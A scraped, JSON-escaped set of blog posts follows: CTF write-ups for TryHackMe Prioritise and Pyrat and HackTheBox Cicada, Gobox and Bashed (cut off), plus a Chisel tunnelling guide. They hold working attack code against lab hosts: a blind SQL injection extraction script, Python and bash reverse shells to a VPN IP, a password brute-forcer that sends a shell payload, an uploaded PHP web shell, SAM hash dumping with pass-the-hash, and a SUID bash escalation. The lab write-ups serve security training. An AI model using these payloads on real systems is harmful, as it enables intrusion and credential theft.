prioritise.thm Script to add hosts automatically ip=\u0026#34;10.10.21.39\u0026#34; domain=\u0026#34;prioritise.thm\u0026#34; grep -qF \u0026#34;$ip $domain\u0026#34; /etc/hosts || echo -e \u0026#34;$ip $domain\u0026#34; | sudo tee -a /etc/hosts I found the blind SQL injection payload using sqlmap:\nsqlmap -u \u0026#34;http://10.10.220.150/?order=\u0026#34; --level=5 --risk=3 --batch The payload identified by sqlmap is as follows:\n--- Parameter: order (GET) Type: boolean-based blind Title: SQLite OR boolean-based blind - WHERE, HAVING, GROUP BY or HAVING clause (JSON) Payload: order=-7076 OR CASE WHEN 1536=1536 THEN 1536 ELSE JSON(CHAR(112,99,74,112)) END --- Even though I could use sqlmap to fully exploit this vulnerability, I wanted to create a custom script to perform the SQL injection manually.\n#!/usr/bin/env python3 import requests import sys import string url = \u0026#34;http://prioritise.thm/\u0026#34; chars = list(string.ascii_letters + string.digits + \u0026#34;_\u0026#34;) + [chr(i) for i in range(33, 127) if chr(i) not in string.ascii_letters + string.digits + \u0026#34;_\u0026#34;] s = requests.Session() ok = s.get(url + \u0026#34;?order=-7076 OR CASE WHEN 1536=1536 THEN 1536 ELSE JSON(CHAR(112,99,74,112)) END\u0026#34;).content max_retries = 3 results = {} def brute_force(action, position, c, table_name=\u0026#39;\u0026#39;, column_name=\u0026#39;\u0026#39;): payloads = { \u0026#34;table\u0026#34;: f\u0026#34;?order=-7076 OR CASE WHEN (SELECT substr(name,{position},1) FROM sqlite_master WHERE type=\u0026#39;table\u0026#39; LIMIT 1 OFFSET 1)=\u0026#39;{c}\u0026#39; THEN 1536 ELSE JSON(CHAR(112,99,74,112)) END\u0026#34;, \u0026#34;column\u0026#34;: f\u0026#34;?order=-7076 OR CASE WHEN (SELECT substr(name,{position},1) FROM pragma_table_info(\u0026#39;{table_name}\u0026#39;))=\u0026#39;{c}\u0026#39; THEN 1536 ELSE JSON(CHAR(112,99,74,112)) END\u0026#34;, \u0026#34;flag\u0026#34;: f\u0026#34;?order=-7076 OR CASE WHEN (SELECT substr({column_name},{position},1) FROM {table_name})=\u0026#39;{c}\u0026#39; THEN 1536 ELSE JSON(CHAR(112,99,74,112)) END\u0026#34; } return s.get(url + payloads[action]) def brute_force_action(action): ans = [] position = 1 table_name = results.get(\u0026#39;table\u0026#39;, \u0026#39;\u0026#39;) column_name = results.get(\u0026#39;column\u0026#39;, \u0026#39;\u0026#39;) while True: found = False stop = True for c in chars: retries = 0 while retries \u0026lt; max_retries: try: sys.stdout.write(f\u0026#34;\\r{action.capitalize()} so far: {\u0026#39;\u0026#39;.join(ans)}{c}\u0026#34;) response = brute_force(action, position, c, table_name, column_name) if response.content == ok: ans.append(c) found = True stop = False break else: break except Exception: retries += 1 if found: break if stop: break position += 1 result = \u0026#39;\u0026#39;.join(ans).rstrip() results[action] = result sys.stdout.write(f\u0026#34;\\r\\033[K{action.capitalize()} found: {result}\\n\u0026#34;) if __name__ == \u0026#34;__main__\u0026#34;: try: for action in [\u0026#34;table\u0026#34;, \u0026#34;column\u0026#34;, \u0026#34;flag\u0026#34;]: brute_force_action(action) except KeyboardInterrupt: sys.stdout.write(\u0026#34;\\nUser interrupted the process. Exiting gracefully...\\n\u0026#34;) sys.exit(0) chmod +x flag ./flag Summary Prioritise: enumerate the services, turn the exposed weakness into a shell, and escalate to root.\n","date":"2024-10-03T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/TryHackMe-Prioritise/","protected":null,"snippet":"Prioritise: enumerate the services, turn the exposed weakness into a shell, and escalate to root.","tags":["thm","linux"],"title":"TryHackMe Prioritise Writeup"},{"categories":["machine"],"contents":"https://tryhackme.com/r/room/pyrat\nAdd Hosts 10.10.227.210 pyrat.thm Script to add hosts automatically ip=\u0026#34;10.10.227.210\u0026#34; domain=\u0026#34;pyrat.thm\u0026#34; grep -qF \u0026#34;$ip $domain\u0026#34; /etc/hosts || echo -e \u0026#34;$ip $domain\u0026#34; | sudo tee -a /etc/hosts Mapping nmap -sCV pyrat.thm Nmap scan report for pyrat.thm (10.10.227.210) Host is up (0.064s latency). Not shown: 998 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 44:5f:26:67:4b:4a:91:9b:59:7a:95:59:c8:4c:2e:04 (RSA) | 256 0a:4b:b9:b1:77:d2:48:79:fc:2f:8a:3d:64:3a:ad:94 (ECDSA) |_ 256 d3:3b:97:ea:54:bc:41:4d:03:39:f6:8f:ad:b6:a0:fb (ED25519) 8000/tcp open http-alt SimpleHTTP/0.6 Python/3.11.2 |_http-title: Site doesn\u0026#39;t have a title (text/html; charset=utf-8). |_http-server-header: SimpleHTTP/0.6 Python/3.11.2 | fingerprint-strings: | DNSStatusRequestTCP, DNSVersionBindReqTCP, JavaRMI, LANDesk-RC, NotesRPC, Socks4, X11Probe, afp, giop: | source code string cannot contain null bytes | FourOhFourRequest, LPDString, SIPOptions: | invalid syntax (\u0026lt;string\u0026gt;, line 1) | GetRequest: | name \u0026#39;GET\u0026#39; is not defined | HTTPOptions, RTSPRequest: | name \u0026#39;OPTIONS\u0026#39; is not defined | Help: |_ name \u0026#39;HELP\u0026#39; is not defined |_http-open-proxy: Proxy might be redirecting requests 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port8000-TCP:V=7.95%I=7%D=10/3%Time=66FE26AB%P=x86_64-pc-linux-gnu%r(Ge SF:nericLines,1,\u0026#34;\\n\u0026#34;)%r(GetRequest,1A,\u0026#34;name\\x20\u0026#39;GET\u0026#39;\\x20is\\x20not\\x20defin SF:ed\\n\u0026#34;)%r(X11Probe,2D,\u0026#34;source\\x20code\\x20string\\x20cannot\\x20contain\\x20 SF:null\\x20bytes\\n\u0026#34;)%r(FourOhFourRequest,22,\u0026#34;invalid\\x20syntax\\x20\\(\u0026lt;strin SF:g\u0026gt;,\\x20line\\x201\\)\\n\u0026#34;)%r(Socks4,2D,\u0026#34;source\\x20code\\x20string\\x20cannot\\ SF:x20contain\\x20null\\x20bytes\\n\u0026#34;)%r(HTTPOptions,1E,\u0026#34;name\\x20\u0026#39;OPTIONS\u0026#39;\\x20 SF:is\\x20not\\x20defined\\n\u0026#34;)%r(RTSPRequest,1E,\u0026#34;name\\x20\u0026#39;OPTIONS\u0026#39;\\x20is\\x20n SF:ot\\x20defined\\n\u0026#34;)%r(DNSVersionBindReqTCP,2D,\u0026#34;source\\x20code\\x20string\\x SF:20cannot\\x20contain\\x20null\\x20bytes\\n\u0026#34;)%r(DNSStatusRequestTCP,2D,\u0026#34;sour SF:ce\\x20code\\x20string\\x20cannot\\x20contain\\x20null\\x20bytes\\n\u0026#34;)%r(Help,1 SF:B,\u0026#34;name\\x20\u0026#39;HELP\u0026#39;\\x20is\\x20not\\x20defined\\n\u0026#34;)%r(LPDString,22,\u0026#34;invalid\\x SF:20syntax\\x20\\(\u0026lt;string\u0026gt;,\\x20line\\x201\\)\\n\u0026#34;)%r(SIPOptions,22,\u0026#34;invalid\\x20 SF:syntax\\x20\\(\u0026lt;string\u0026gt;,\\x20line\\x201\\)\\n\u0026#34;)%r(LANDesk-RC,2D,\u0026#34;source\\x20cod SF:e\\x20string\\x20cannot\\x20contain\\x20null\\x20bytes\\n\u0026#34;)%r(NotesRPC,2D,\u0026#34;so SF:urce\\x20code\\x20string\\x20cannot\\x20contain\\x20null\\x20bytes\\n\u0026#34;)%r(Java SF:RMI,2D,\u0026#34;source\\x20code\\x20string\\x20cannot\\x20contain\\x20null\\x20bytes\\ SF:n\u0026#34;)%r(afp,2D,\u0026#34;source\\x20code\\x20string\\x20cannot\\x20contain\\x20null\\x20 SF:bytes\\n\u0026#34;)%r(giop,2D,\u0026#34;source\\x20code\\x20string\\x20cannot\\x20contain\\x20n SF:ull\\x20bytes\\n\u0026#34;); Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Initial Connection Run a basic connection attempt:\ncurl http://pyrat.thm:8000 The output suggests trying a more basic connection:\nnc pyrat.thm 8000 After connecting, you discover you\u0026rsquo;re in a Python REPL interpreter.\nReverse Shell Setup On your local machine, start a listener:\nnc -lvnp 9001 In the Python REPL on the target, execute the following reverse shell command:\nReplace \u0026lt;vpn-ip\u0026gt; with your actual VPN IP to receive the connection.\nimport socket,subprocess,os s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect((\u0026#34;\u0026lt;vpn-ip\u0026gt;\u0026#34;,9001)) os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2) import pty; pty.spawn(\u0026#34;sh\u0026#34;) Post Exploitation Once the shell is established, you can explore the system. Start by viewing Git configuration files:\ncat /opt/dev/.git/config Switch to the user think:\nsu - think Extract the flags:\ncat user.txt cat /var/mail/think You find a mention of a \u0026ldquo;rat virus\u0026rdquo; in the mail.\nProcess Discovery Running ps reveals an interesting process:\nps x 13875 ? S 0:00 python3 /root/pyrat.py Analyzing the Code Navigate to the development directory and check the commit history:\ncd /opt/dev git log You find a commit titled Added shell endpoint:\ngit show 0a3c36d66369fd4b07ddca72e5379461a63470bf The commit details reveal that a shell endpoint was added to the pyrat.py script:\ncommit 0a3c36d66369fd4b07ddca72e5379461a63470bf Author: Jose Mario \u0026lt;josemlwdf@github.com\u0026gt; Date: Wed Jun 21 09:32:14 2023 +0000 Added shell endpoint diff --git a/pyrat.py.old b/pyrat.py.old --- /dev/null +++ b/pyrat.py.old @@ -0,0 +1,27 @@ def switch_case(client_socket, data): if data == \u0026#39;some_endpoint\u0026#39;: get_this_enpoint(client_socket) else: # Check if socket is admin and downgrade if not approved uid = os.getuid() if uid == 0: change_uid() if data == \u0026#39;shell\u0026#39;: shell(client_socket) else: exec_python(client_socket, data) def shell(client_socket): try: import pty os.dup2(client_socket.fileno(), 0) os.dup2(client_socket.fileno(), 1) os.dup2(client_socket.fileno(), 2) pty.spawn(\u0026#34;/bin/sh\u0026#34;) except Exception as e: send_data(client_socket, e) This shows that there’s a shell endpoint available in the code.\nRoot Password save this as brute:\n#!/usr/bin/env python3 import subprocess import threading import argparse from pwn import remote, context, listen def get_tun0_ip(): return subprocess.run( \u0026#34;ip a | grep -A 2 \u0026#39;tun0:\u0026#39; | grep -oP \u0026#39;(?\u0026lt;=inet\\\\s)\\\\d+(\\\\.\\\\d+){3}\u0026#39;\u0026#34;, shell=True, check=True, stdout=subprocess.PIPE, universal_newlines=True ).stdout.strip() def start_listener(ip, port): listener = listen(port) listener.wait_for_connection() print(f\u0026#34;[INFO] Reverse shell connected from {ip}:{port}!\u0026#34;) listener.interactive() target_ip, target_port = \u0026#34;pyrat.thm\u0026#34;, 8000 password_wordlist = \u0026#34;/usr/share/dict/SecLists/Passwords/500-worst-passwords.txt\u0026#34; command_wordlist = \u0026#34;/usr/share/dict/SecLists/Discovery/Web-Content/burp-parameter-names.txt\u0026#34; stop_flag, num_threads = threading.Event(), 100 nc_listener_ip, nc_listener_port = get_tun0_ip(), 9001 reverse_shell_payload = f\u0026#34;import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);\u0026#34; \\ f\u0026#34;s.connect((\\\u0026#34;{nc_listener_ip}\\\u0026#34;,{nc_listener_port}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);pty.spawn(\\\u0026#34;/bin/bash\\\u0026#34;)\u0026#34; def brute_force_pass(passwords): context.log_level = \u0026#34;error\u0026#34; r = remote(target_ip, target_port) for i, password in enumerate(passwords): if stop_flag.is_set(): return if i % 3 == 0: r.sendline(b\u0026#34;admin\u0026#34;) r.recvuntil(b\u0026#34;Password:\\n\u0026#34;) r.sendline(password.encode()) try: if b\u0026#34;shell\u0026#34; in r.recvline(timeout=0.5): stop_flag.set() print(f\u0026#34;[+] Password found: {password}\u0026#34;) r.sendline(reverse_shell_payload.encode()) print(\u0026#34;[+] Reverse shell payload sent!\u0026#34;) return except: pass r.close() def find_commands(words): context.log_level = \u0026#34;error\u0026#34; for word in words: if stop_flag.is_set(): return if word.strip() == \u0026#34;\u0026#34; or word == \u0026#34;shell\u0026#34;: continue r = remote(target_ip, target_port) try: r.sendline(word.encode()) output = r.recvline(timeout=0.15) if b\u0026#39;not defined\u0026#39; not in output and b\u0026#39;\u0026lt;string\u0026gt;\u0026#39; not in output and output.strip() != b\u0026#34;\u0026#34;: print(f\u0026#34;[+] Potential command: {word}\u0026#34;) print(f\u0026#34;[+] Output: {output.decode().strip()}\u0026#34;) except Exception as e: print(f\u0026#34;[ERROR] An error occurred while processing {word}: {e}\u0026#34;) finally: r.close() def main(mode): wordlist = password_wordlist if mode == \u0026#34;password\u0026#34; else command_wordlist target_function = brute_force_pass if mode == \u0026#34;password\u0026#34; else find_commands words = [line.strip() for line in open(wordlist, \u0026#34;r\u0026#34;).readlines()] step = (len(words) + num_threads - 1) // num_threads threads = [] if mode == \u0026#34;password\u0026#34;: listener_thread = threading.Thread(target=start_listener, args=(nc_listener_ip, nc_listener_port)) listener_thread.start() for i in range(num_threads): start, end = i * step, min((i + 1) * step, len(words)) if start \u0026lt; len(words): thread = threading.Thread(target=target_function, args=(words[start:end],)) threads.append(thread) thread.start() for thread in threads: thread.join() if mode == \u0026#34;password\u0026#34;: listener_thread.join() if __name__ == \u0026#34;__main__\u0026#34;: parser = argparse.ArgumentParser(description=\u0026#34;Brute Force and Command Discovery Script\u0026#34;) parser.add_argument(\u0026#34;-f\u0026#34;, \u0026#34;--find\u0026#34;, action=\u0026#34;store_true\u0026#34;, help=\u0026#34;Run in command discovery mode\u0026#34;) args = parser.parse_args() try: main(\u0026#34;find\u0026#34; if args.find else \u0026#34;password\u0026#34;) except KeyboardInterrupt: print(\u0026#34;\\n[INFO] Exiting...\u0026#34;) stop_flag.set() chmod +x brute ./brute cat /root/root.txt Summary Pyrat: enumerate the services, turn the exposed weakness into a shell, and escalate to root.\n","date":"2024-10-03T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/TryHackMe-Pyrat/","protected":null,"snippet":"Pyrat: enumerate the services, turn the exposed weakness into a shell, and escalate to root.","tags":["thm","linux"],"title":"TryHackMe Pyrat Writeup"},{"categories":["machine"],"contents":"Add Hosts Edit the /etc/hosts file and add the following entries:\n10.10.11.35 cicada.htb Script to add hosts automatically ip=\u0026#34;10.10.11.35\u0026#34; domain=\u0026#34;cicada.htb\u0026#34; grep -qF \u0026#34;$ip $domain\u0026#34; /etc/hosts || echo -e \u0026#34;$ip $domain\u0026#34; | sudo tee -a /etc/hosts Mapping nmap -sCV cicada.htb\nStarting Nmap 7.95 ( https://nmap.org ) at 2024-10-02 22:04 CEST Stats: 0:00:56 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan NSE Timing: About 98.39% done; ETC: 22:05 (0:00:00 remaining) Nmap scan report for cicada.htb (10.10.11.35) Host is up (0.051s latency). Not shown: 988 filtered tcp ports (no-response) PORT STATE SERVICE VERSION 53/tcp open domain Simple DNS Plus 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-10-03 03:04:51Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name) |_ssl-date: TLS randomness does not represent time | ssl-cert: Subject: commonName=CICADA-DC.cicada.htb | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::\u0026lt;unsupported\u0026gt;, DNS:CICADA-DC.cicada.htb | Not valid before: 2024-08-22T20:24:16 |_Not valid after: 2025-08-22T20:24:16 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name) | ssl-cert: Subject: commonName=CICADA-DC.cicada.htb | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::\u0026lt;unsupported\u0026gt;, DNS:CICADA-DC.cicada.htb | Not valid before: 2024-08-22T20:24:16 |_Not valid after: 2025-08-22T20:24:16 |_ssl-date: TLS randomness does not represent time 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name) |_ssl-date: TLS randomness does not represent time | ssl-cert: Subject: commonName=CICADA-DC.cicada.htb | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::\u0026lt;unsupported\u0026gt;, DNS:CICADA-DC.cicada.htb | Not valid before: 2024-08-22T20:24:16 |_Not valid after: 2025-08-22T20:24:16 3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name) | ssl-cert: Subject: commonName=CICADA-DC.cicada.htb | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::\u0026lt;unsupported\u0026gt;, DNS:CICADA-DC.cicada.htb | Not valid before: 2024-08-22T20:24:16 |_Not valid after: 2025-08-22T20:24:16 |_ssl-date: TLS randomness does not represent time 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found Service Info: Host: CICADA-DC; OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: | smb2-security-mode: | 3:1:1: |_ Message signing enabled and required | smb2-time: | date: 2024-10-03T03:05:32 |_ start_date: N/A |_clock-skew: 7h00m00s 1. Enumerate SMB Shares Using smbclient smbclient -L //10.10.11.35 Lists available SMB shares on the target machine. 2. Access the HR Share with SMBv2 smbclient //10.10.11.35/HR -U \u0026#39;\u0026#39; -m SMB2 Anonymous login to the HR share, forcing SMBv2 protocol. 3. Read Notice from HR.txt for Credentials more \u0026#34;Notice from HR.txt\u0026#34; Use more to read the Notice from HR.txt file, which contains credentials for user michael.wrightson. 4. Enumerate Users via RID Bruteforce Using netexec netexec smb --rid-brute -u guest -p \u0026#39;\u0026#39; -t 10 10.10.11.35 Perform RID bruteforce on the SMB server using the guest account. -t 10 increases thread count for faster scanning. 5. Further Enumeration Using enum4linux enum4linux-ng -u michael.wrightson -p \u0026#39;\u0026lt;password_from_notice_file\u0026gt;\u0026#39; -A 10.10.11.35 -d Run enum4linux to gather detailed SMB information. One user found may be: \u0026#39;1108\u0026#39;: username: david.orelious name: (null) acb: \u0026#39;0x00000210\u0026#39; description: Just in case I forget my password is [REDACTED] 6. Access DEV Share Using smbclient smbclient -U david.orelious //10.10.11.35/DEV Navigate the DEV share and find Backup_script.ps1. more Backup_script.ps1 This reveals credentials for user emily.oscars. 7. Log in to the System Using evil-winrm evil-winrm -i 10.10.11.35 -u emily.oscars -p \u0026#39;\u0026lt;password_from_ps1\u0026gt;\u0026#39; Use credentials from Backup_script.ps1 to log in with evil-winrm. 8. Retrieve the user.txt Flag type ../Desktop/user.txt Read the user.txt flag on the desktop of emily.oscars. 9. Privilege Escalation Using robocopy robocopy C:\\Users\\Administrator\\Desktop C:\\Users\\Public root.txt /B Copy root.txt from the Administrator’s desktop to the public directory using robocopy with the /B flag to bypass permissions. 10. Read the root.txt Flag type C:\\Users\\Public\\root.txt Display the root.txt flag. Beyond Root with NT Admin Shell Log Back into the System Using evil-winrm evil-winrm -i 10.10.11.35 -u emily.oscars -p \u0026#39;\u0026lt;password_from_ps1\u0026gt;\u0026#39; Check Privileges in the Current Session whoami /priv Dump the SAM and SYSTEM Registry Files reg save hklm\\sam sam reg save hklm\\system system dir This saves the sam and system registry files to the current directory. Download SAM and SYSTEM Files download sam download system Extract NTLM Hashes Using Impacket\u0026rsquo;s secretsdump impacket-secretsdump -sam sam -system system LOCAL Extract the NTLM hash: Administrator:500:aad3b43....35b51404ee:[REDACTED_HASH]::: Log in as Administrator Using the NTLM Hash evil-winrm -u \u0026#39;Administrator\u0026#39; -H \u0026#39;\u0026lt;Admin-Hash\u0026gt;\u0026#39; -i cicada.htb Use the Administrator NTLM hash to gain full access to the system. Summary Cicada: enumerate the AD surface, abuse the exposed credential or delegation path, and escalate to Administrator.\n","date":"2024-10-02T00:10:50+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Cicada/","protected":null,"snippet":"Cicada: enumerate the AD surface, abuse the exposed credential or delegation path, and escalate to Administrator.","tags":["htb","windows","linux","active-directory","kerberos","smb","ldap"],"title":"HackTheBox Cicada Writeup"},{"categories":["machine"],"contents":"Add Hosts 10.10.11.113 gobox.htb Script to add hosts automatically ip=\u0026#34;10.10.11.113\u0026#34; domain=\u0026#34;gobox.htb\u0026#34; grep -qF \u0026#34;$ip $domain\u0026#34; /etc/hosts || echo -e \u0026#34;$ip $domain\u0026#34; | sudo tee -a /etc/hosts Mapping nmap -sCV gobox.htb Starting Nmap 7.95 ( https://nmap.org ) at 2024-09-30 02:46 CEST Nmap scan report for gobox.htb (10.10.11.113) Host is up (0.050s latency). Not shown: 994 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 d8:f5:ef:d2:d3:f9:8d:ad:c6:cf:24:85:94:26:ef:7a (RSA) | 256 46:3d:6b:cb:a8:19:eb:6a:d0:68:86:94:86:73:e1:72 (ECDSA) |_ 256 70:32:d7:e3:77:c1:4a:cf:47:2a:de:e5:08:7a:f8:7a (ED25519) 80/tcp open http nginx |_http-title: Hacking eSports | {{.Title}} 8080/tcp open http nginx |_http-open-proxy: Proxy might be redirecting requests |_http-title: Hacking eSports | Home page 9000/tcp filtered cslistener 9001/tcp filtered tor-orport 9002/tcp filtered dynamid Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Identify the Vulnerability The target site at http://gobox.htb:8080/ is running a Go-based application, as indicated by the X-Forwarded-Server: golang header in BurpSuite responses. Based on the response, you\u0026rsquo;ve found that the application could be vulnerable to Server-Side Template Injection (SSTI) using Go templates. Initial SSTI Test On the /forgot page, insert the payload {{ . }} in the email field to test for template injection. If vulnerable, this will reveal Go template context variables or throw an error exposing internal details of the server. Exploiting DebugCmd After successfully logging in with credentials sent via email from the /forgot page, the source code of the application is revealed. You discover the DebugCmd function in the template engine, which allows the execution of system commands. Test system commands using the following payloads:\n{{ .DebugCmd \u0026#34;id\u0026#34; }} // Check for user privileges {{ .DebugCmd \u0026#34;env\u0026#34; }} // View environment variables {{ .DebugCmd \u0026#34;aws s3 ls s3://\u0026#34; }} // List S3 buckets {{ .DebugCmd \u0026#34;aws s3 ls s3://website\u0026#34; }} // List contents of a specific bucket Preparing the Payload The goal is to upload a PHP reverse shell to the S3 bucket via the AWS CLI exposed through DebugCmd. First, generate a base64-encoded PHP reverse shell: echo \u0026#39;\u0026lt;?php system($_GET[\u0026#39;cmd\u0026#39;]); ?\u0026gt;\u0026#39; | base64 This will output the encoded payload:\nPD9waHAgc3lzdGVtKCRfR0VUW2NtZF0pOyA/Pgo= Use DebugCmd to decode and save this as a PHP file on the target system, and then upload it to the S3 bucket. {{ .DebugCmd \u0026#34;echo -n PD9waHAgc3lzdGVtKCRfR0VUW2NtZF0pOyA/Pgo= | base64 -d \u0026gt; /tmp/evil.php\u0026#34; }} {{ .DebugCmd \u0026#34;aws s3 cp /tmp/evil.php s3://website/evil.php\u0026#34; }} Accessing the Payload Once the reverse shell script is uploaded, it can be accessed via: http://gobox.htb/evil.php\nYou can then execute commands by passing the cmd parameter.\nTriggering the Reverse Shell To establish a reverse shell, use the following bash command:\nbash -c \u0026#39;/bin/bash -i \u0026gt;\u0026amp; /dev/tcp/10.10.14.2/9001 0\u0026gt;\u0026amp;1\u0026#39; Since this needs to be URL-encoded, use sed to encode only the \u0026amp; and / characters:\necho -n \u0026#34;bash -c \u0026#39;/bin/bash -i \u0026gt;\u0026amp; /dev/tcp/10.10.14.2/9001 0\u0026gt;\u0026amp;1\u0026#39;\u0026#34; | sed -e \u0026#39;s:/:%2f:g\u0026#39; -e \u0026#39;s:\u0026amp;:%26:g\u0026#39; Setting Up a Listener On your local machine, set up a listener to catch the reverse shell:\nnc -lvnp 9001 Triggering the Shell To trigger the reverse shell, visit:\nhttp://gobox.htb/evil.php?cmd=bash -c \u0026#39;%2fbin%2fbash -i \u0026gt;%26 %2fdev%2ftcp%2f10.10.14.2%2f9001 0\u0026gt;%261\u0026#39; Get an Interactive Shell: Once the reverse shell connects, convert it into an interactive shell:\npython3 -c \u0026#39;import pty;pty.spawn(\u0026#34;/bin/bash\u0026#34;)\u0026#39; Press Ctrl+Z to background the shell, then run:\nstty size; stty raw -echo; fg As the last step, set the terminal environment:\nexport TERM=xterm; Nginx Module Exploitation (ngx_http_execute_module) Initial Enumeration Retrieve the user flag from /home/ubuntu/user.txt:\ncat /home/ubuntu/user.txt Investigate Nginx configuration:\nls /etc/nginx/sites-enabled cat /etc/nginx/sites-enabled/default You find the custom directive command on;, which is not part of the default Nginx setup, indicating a custom module.\nIdentifying the Custom Module A Google search for command on; nginx github reveals the NginxExecute module, which allows command execution via Nginx.\nVerifying the Nginx Module To confirm the presence of this module and its functionality, you inspect the Nginx module binary for references to the run function: strings /usr/share/nginx/modules/ngx_http_execute_module.so | grep run Command Execution Use the ippsec.run parameter in HTTP requests to execute system commands. Test with a basic command:\ncurl -g \u0026#34;http://127.0.0.1:8000/?ippsec.run[id]\u0026#34; curl -g \u0026#34;http://127.0.0.1:8000/?ippsec.run[cat /root/root.txt]\u0026#34; curl -g \u0026#34;http://127.0.0.1:8000/?ippsec.run[chmod 4755 /bin/bash]\u0026#34; /bin/bash -p Summary Gobox: enumerate the services, turn the exposed weakness into a shell, and escalate to root.\n","date":"2024-09-30T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Gobox/","protected":null,"snippet":"Gobox: enumerate the services, turn the exposed weakness into a shell, and escalate to root.","tags":["htb","linux"],"title":"HackTheBox Gobox Writeup"},{"categories":["notes"],"contents":"This guide provides step-by-step instructions on how to set up and use Chisel for tunneling traffic and accessing remote services. It also covers how to configure proxychains to route traffic through the tunnel.\nWhat is Chisel? Chisel is a fast TCP/UDP tunnel, transported over HTTP, secured via SSH. It can be used for port forwarding, SOCKS proxying, and more. Chisel runs in two modes:\nServer mode: Receives traffic and forwards it. Client mode: Forwards traffic to the server. Installation 1. Download and Install Chisel To install Chisel, run the following command:\ncurl https://i.jpillora.com/chisel! | bash If you want to copy the chisel binary to a different location (e.g., serving it from a web server), use:\ncp /usr/local/bin/chisel ~/.local/www/chisel You can host it using a Python HTTP server:\npython3 -m http.server 8000 2. Get Your VPN IP If you\u0026rsquo;re using a VPN (e.g., HackTheBox or TryHackMe), you can find your VPN\u0026rsquo;s local IP address with:\nvpn=$(ip a | grep -A 2 \u0026#34;tun0:\u0026#34; | grep -oP \u0026#39;(?\u0026lt;=inet\\s)\\d+(\\.\\d+){3}\u0026#39;) This stores your VPN IP address in the vpn variable, which will be used to set up the chisel client.\nSetting Up Chisel 1. Starting Chisel in Server Mode On your server (e.g., your local machine), run Chisel in reverse mode to allow clients to connect.\nExample 1: Running Chisel Server for Reverse Port Forwarding chisel server -p 1080 --reverse -p 1080: Specifies the port the server listens on. --reverse: Enables reverse port forwarding, allowing the client to specify which ports to forward. 2. Starting Chisel Client for Port Forwarding On the client machine, connect to the Chisel server (replace $vpn with your actual VPN IP):\n./chisel client $vpn:1080 R:8080:127.0.0.1:8080 $vpn:1080: The Chisel server\u0026rsquo;s IP address and port. R:8080:127.0.0.1:8080: This forwards port 8080 on the client machine to port 8080 on the server\u0026rsquo;s localhost. 3. Setting Up Chisel as a SOCKS5 Proxy To set up Chisel as a SOCKS5 proxy, use the following command:\nchisel server --socks5 --reverse -p 1080 On the client machine, connect to the SOCKS5 server:\n./chisel client $vpn:1080 R:socks This will tunnel all traffic through a SOCKS5 proxy running on port 1080.\nUsing Proxychains with Chisel You can route specific traffic through the Chisel SOCKS5 proxy using proxychains-ng.\n1. Install Proxychains You can install proxychains-ng using your package manager (e.g., yay on Arch-based systems):\nyay proxychains-ng 2. Configure Proxychains Open the proxychains configuration file:\nsudo nano /etc/proxychains.conf At the end of the file, add the following line to route traffic through the SOCKS5 proxy on port 1080:\nsocks5 127.0.0.1 1080 3. Using Proxychains Once configured, you can use proxychains to route specific commands through Chisel SOCKS5. For example:\nproxychains curl http://example.com You can also use proxychains with other commands like nmap, wget, or any program that supports network connections. For example:\nproxychains nmap -sT -Pn example.com Summary Chisel Forwarding: fix SSH configuration and permissions so remote access works predictably.\n","date":"2024-09-29T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/Chisel/","protected":null,"snippet":"Chisel Forwarding: fix SSH configuration and permissions so remote access works predictably.","tags":["notes","ssh","nmap","linux"],"title":"Chisel"},{"categories":["machine"],"contents":"Add Hosts 10.10.10.68 bashed.htb Script to add hosts automatically ip=\u0026#34;10.10.10.68\u0026#34; domain=\u0026#34;bashed.htb\u0026#34; grep -qF \u0026#34;$ip $domain\u0026#34; /etc/hosts || echo -e \u0026#34;$ip $domain\u0026#34; | sudo tee -a /etc/hosts Mapping nmap -sCV bashed.htb Starting Nmap 7.95 ( https://nmap.org ) at 2024-09-27 22:23 CEST Nmap scan report for bashed.htb (10.10.10.68) Host is up (0.051s latency). Not shown: 999 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) |_http-server-header: Apache/2.4.18 (Ubuntu) |_http-title: Arrexel\u0026#39;s Development Site Directory Discovery Start by using dirb to scan for directories on Bashed HTB:\ndirb http://bashed.htb/ The scan reveals the following directories:\n==\u0026gt; DIRECTORY: http://bashed.htb/css/ 